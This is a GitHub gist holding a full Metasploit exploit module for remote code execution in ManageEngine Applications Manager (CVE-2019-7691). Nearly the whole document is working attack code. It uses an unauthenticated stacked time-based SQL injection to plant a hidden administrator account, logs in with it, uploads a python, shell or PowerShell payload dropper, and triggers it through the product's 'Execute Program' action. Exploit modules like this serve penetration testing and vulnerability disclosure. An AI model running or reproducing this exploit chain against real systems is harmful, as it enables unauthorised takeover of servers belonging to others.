Created
April 19, 2019 20:33
-
-
Save mdisec/eaa96e977a87536ad0660ee4ce8f39c6 to your computer and use it in GitHub Desktop.
ManageEngine Applications Manager Remote Code Execution 0day
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## | |
# This module requires Metasploit: http://metasploit.com/download | |
# Current source: https://github.com/rapid7/metasploit-framework | |
## | |
class MetasploitModule < Msf::Exploit::Remote | |
Rank = ExcellentRanking | |
include Msf::Exploit::Remote::HttpClient | |
include Msf::Exploit::FileDropper | |
include Msf::Exploit::Powershell | |
def initialize(info = {}) | |
super(update_info(info, | |
'Name' => "ManageEngine Applications Manager Remote Code Execution", | |
'Description' => %q( | |
bla bla bla | |
), | |
'License' => MSF_LICENSE, | |
'Author' => | |
[ | |
'Mehmet Ince <[email protected]>' # author & msf module | |
], | |
'References' => | |
[ | |
['URL', 'https://pentest.blog/change-me'], | |
['CVE', '2019-7691'] | |
], | |
'DefaultOptions' => | |
{ | |
'RPORT' => 9090, | |
'WfsDelay' => 30, | |
'HttpClientTimeout' => 60 # sometimes, specially dropper upload request takes 40-50 second waiting... | |
}, | |
'Platform' => ['unix', 'python', 'win'], | |
'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64], | |
'Targets' => | |
[ | |
['Automatic (Python Dropper)', | |
'Platform' => 'python', | |
'Arch' => ARCH_PYTHON, | |
'Type' => :python_dropper | |
], | |
['Unix (Unix CMD Dropper)', | |
'Platform' => 'unix', | |
'Arch' => ARCH_CMD, | |
'Type' => :unix_dropper | |
], | |
['Windows (Powershell Dropper)', | |
'Platform' => 'win', | |
'Arch' => [ARCH_X86, ARCH_X64], | |
'Type' => :psh_dropper | |
] | |
], | |
'Privileged' => true, | |
'DisclosureDate' => 'Jan 5 2019', | |
'DefaultTarget' => 0)) | |
register_options( | |
[ | |
OptString.new('TARGETURI', [true, 'The URI of the application', '/']) | |
] | |
) | |
end | |
def something_went_wrong | |
fail_with Failure::Unknown, 'Something went wrong' | |
end | |
def detect_new_cookie(res) | |
# Sometimes, backend system generates new session id. Therefore, we have to use new one. | |
# In here, we are updating global cookie variable so that upcoming send_request_cgi can use new cookie. | |
unless res.get_cookies.empty? | |
@cookie = res.get_cookies | |
end | |
end | |
def sqli_with_validation(query) | |
# During the exploitation process, we are creating a user by exploiting time-based sqli. | |
# Before continuing the exploitation process, I would like to check if the user was successfully created. | |
# Step 1. check that we can reach the host with no problems | |
# Step 2. check that response time is bigger the t1 as well as integer 5. | |
# I really don't want to make '5' dynamic value... I hate time-based sqli ! | |
t = Time.now | |
res = execute_query('select 1') | |
t1 = Time.now-t | |
if res && res.body.include?('true') | |
t = Time.now | |
execute_query(query) | |
t2 = Time.now-t | |
if t2 >= t1 + 5 | |
true | |
else | |
false | |
end | |
else | |
something_went_wrong | |
end | |
end | |
def execute_query(query) | |
# Actual method where we are exploiting the time-based sqli. | |
# We are going to exploit this sqli multiple time throughout the exploitation process. | |
sql = rand_text_numeric(1+rand(5)) | |
sql << "');" | |
sql << query | |
sql << '--' | |
send_request_cgi( | |
'method' => 'POST', | |
'uri' => normalize_uri(target_uri.path, 'servlet', 'SyncMonitorInAdminMG'), | |
'vars_post' => { | |
'operation' => 2, | |
'mgResourceID' => rand_text_numeric(1+rand(5)), | |
'resourceList' => [sql].to_json # payload must be within square brackets ! | |
} | |
) | |
end | |
def create_admin | |
# One of the feature of this product is to upload and execute anything you want. In order to access to | |
# this feature, we have to create our own administrator account by exploiting sqli. | |
@username = rand_text_alphanumeric(8+rand(8)) | |
@password = rand_text_alphanumeric(8+rand(8)) | |
print_status('Creating administrator user by exploiting unauth stacked sqli') | |
# We have to populate the data on two different table. | |
query = "insert into am_userpasswordtable (userid,username,password,apikey) values " | |
# I hate varbinary data-type of mssql. It requires 0x at the beginning of hash without single quote surrounding ! So here we have hacky solution. | |
query << "('#{rand_text_numeric(3+rand(10))}','#{@username}',#{@dbms == 'mssql' ? "0x#{Rex::Text.md5(@password)}" : "'#{Rex::Text.md5(@password)}'"},'#{Rex::Text.md5(@password)}');" | |
query << "insert into am_usergrouptable (username,groupname) values ('#{@username}','ADMIN');" | |
execute_query(query) | |
print_status('Validating created administrator account') | |
# Manually crafted time-based sqli payload which call pg_sleep(5) when both table successfully populated. | |
query = "" | |
if @dbms == 'mssql' | |
query << "IF (select count(*) from am_userpasswordtable WHERE username = '#{@username}')>0 " | |
query << "and (select count(*) from am_usergrouptable Where username ='#{@username}')>0 waitfor delay '00:00:05'" | |
else # that means we have postgresql. <3 opensource ! | |
query << "SELECT CASE WHEN (SELECT COUNT(*) FROM am_userpasswordtable where username = '#{@username}')>0" | |
query << "AND ((SELECT COUNT(*) FROM am_usergrouptable where username = '#{@username}'))>0 THEN (select 1 from pg_sleep(5)) ELSE 1 END;" | |
end | |
if sqli_with_validation(query) | |
print_good("Admin username : #{@username}") | |
print_good("Admin password : #{@password}") | |
else | |
something_went_wrong | |
end | |
end | |
def auth | |
print_status('Authenticating with created user') | |
# We have to force backend system to generate one session id for us before auth request. | |
res = send_request_cgi( | |
'method' => 'GET', | |
'uri' => normalize_uri(target_uri.path, 'applications.do'), | |
) | |
if res && res.code == 200 && res.body.include?('Applications Manager Login Screen') | |
# Ok, it seems we got the cookie now we need to use it for actual authentication | |
@cookie = res.get_cookies | |
res = send_request_cgi( | |
'method' => 'POST', | |
'uri' => normalize_uri(target_uri.path, 'j_security_check'), | |
'cookie' => @cookie, | |
'vars_post' => { | |
'clienttype' => 'html', | |
'j_username' => @username, | |
'j_password' => @password | |
} | |
) | |
if res && res.code == 302 && res.body.include?('Redirecting to') | |
print_good('Successfully authenticated') | |
res = send_request_cgi( | |
'method' => 'GET', | |
'uri' => normalize_uri(target_uri.path, 'applications.do'), | |
'cookie' => @cookie | |
) | |
detect_new_cookie(res) | |
else | |
something_went_wrong | |
end | |
else | |
something_went_wrong | |
end | |
end | |
def craft_dropper | |
case target['Type'] | |
when :python_dropper | |
"python -c \"#{payload.encoded}\"" | |
when :unix_dropper | |
payload.encoded | |
when :psh_dropper | |
cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true}) | |
end | |
end | |
def dropper_extension | |
case target['Type'] | |
when :unix_dropper | |
'.sh' | |
when :python_dropper | |
'.py' | |
when :psh_dropper | |
'.bat' | |
end | |
end | |
def upload_payload | |
print_status('Uploading payload file') | |
@filename = rand_text_alpha(8 + rand(4)) + dropper_extension | |
register_file_for_cleanup(@filename) | |
data = Rex::MIME::Message.new | |
data.add_part('./', nil, nil, 'form-data; name="uploadDir"') | |
data.add_part(craft_dropper, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@filename}\"") | |
# Only the god knows why we have to hit that endpoint two times. | |
res = send_request_cgi({ | |
'method' => 'GET', | |
'uri' => normalize_uri(target_uri.path, "Upload.do"), | |
'cookie' => @cookie, | |
'vars_get' => { | |
'uploadDir' => './' | |
} | |
}) | |
detect_new_cookie(res) | |
res = send_request_cgi({ | |
'method' => 'POST', | |
'uri' => normalize_uri(target_uri.path, "Upload.do"), | |
'cookie' => @cookie, | |
'ctype' => "multipart/form-data; boundary=#{data.bound}", | |
'data' => data.to_s | |
}) | |
if res && res.code == 200 && res.body.include?("The file #{@filename} was successfully uploaded") | |
print_good('Payload successfully uploaded.') | |
detect_new_cookie(res) | |
else | |
fail_with(Failure::Unknown, "#{peer} - Error on uploading file") | |
end | |
end | |
def create_action | |
# The 'feature' we loved most. | |
print_status('Creating Execute Program action') | |
# We need to detect default path where the app have write permission. | |
res = send_request_cgi( | |
'method' => 'GET', | |
'uri' => normalize_uri(target_uri.path, 'showTile.do'), | |
'cookie' => @cookie, | |
'vars_get' => { | |
'TileName' => '.ExecProg', | |
'haid' => 'null', | |
} | |
) | |
if res && res.code == 200 && res.body.include?('execProgExecDir') | |
path = res.body.scan(/<input type="text" name="execProgExecDir" maxlength="200" size="40" value="(.*)" class="formtext xxlarge">/).flatten[0] || '' | |
detect_new_cookie(res) | |
else | |
something_went_wrong | |
end | |
# Now we gotta create action that we need. | |
@cmd_name = rand_text_alphanumeric(8+rand(8)) | |
res = send_request_cgi( | |
'method' => 'POST', | |
'uri' => normalize_uri(target_uri.path, 'adminAction.do'), | |
'cookie' => @cookie, | |
'vars_post' => { | |
'actions' => '/showTile.do?TileName=.ExecProg&haid=null', | |
'method' => 'createExecProgAction', | |
'id' => 0, | |
'serversite' => 'local', | |
'abortafter' => 999999, | |
'cancel' => 'false', | |
'choosehost' => -2, | |
'execProgExecDir' => path, | |
'command' => @filename, | |
'displayname' => @cmd_name | |
} | |
) | |
if res && res.code == 200 && res.body.include?('Execute Program action successfully created.') | |
print_good('Execute Program Action successfully created.') | |
detect_new_cookie(res) | |
else | |
something_went_wrong | |
end | |
end | |
def trigger_action | |
# We need to find I of action that we've created before and then using this UD value we are going to trigger the payload. | |
print_status('Searching program action ID') | |
res = send_request_cgi( | |
'method' => 'GET', | |
'uri' => normalize_uri(target_uri.path, 'common', 'executeScript.do'), | |
'cookie' => @cookie, | |
'vars_get' => { | |
'method' => 'testAction', | |
} | |
) | |
if res && res.code == 200 | |
regex = /<a href="#" class="actions-links " onClick="fnOpenNewWindowWithHeightWidthPlacement\('\/showActionProfiles.do\?method=getActionDetails&actionid=(\d+)','710','350','250','200'\)">\s+#{@cmd_name}<\/a>/ | |
id = res.body.scan(regex).flatten[0] || '' | |
print_good("Action ID : #{id}") | |
detect_new_cookie(res) | |
print_status('Triggering the payload') | |
send_request_cgi( | |
'method' => 'GET', | |
'uri' => normalize_uri(target_uri.path, 'common', 'executeScript.do'), | |
'cookie' => @cookie, | |
'vars_get' => { | |
'method' => 'testAction', | |
'actionID' => id, | |
'haid' => 'null' | |
} | |
) | |
else | |
something_went_wrong | |
end | |
end | |
def check | |
# We can'T validate vulnerability without detect the target dbms system in the first place. | |
# Beside that, we will use @dbms variable on different stage of the exploitation. | |
if sqli_with_validation("select pg_sleep(5)") | |
@dbms = 'postgresql' | |
Exploit::CheckCode::Vulnerable | |
elsif sqli_with_validation("waitfor delay '00:00:05'") | |
@dbms = 'mssql' | |
Exploit::CheckCode::Vulnerable | |
else | |
Exploit::CheckCode::Safe | |
end | |
end | |
def exploit | |
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') unless check == Exploit::CheckCode::Vulnerable | |
print_good("Target DBMS : #{@dbms}") | |
create_admin | |
auth | |
upload_payload | |
create_action | |
trigger_action | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment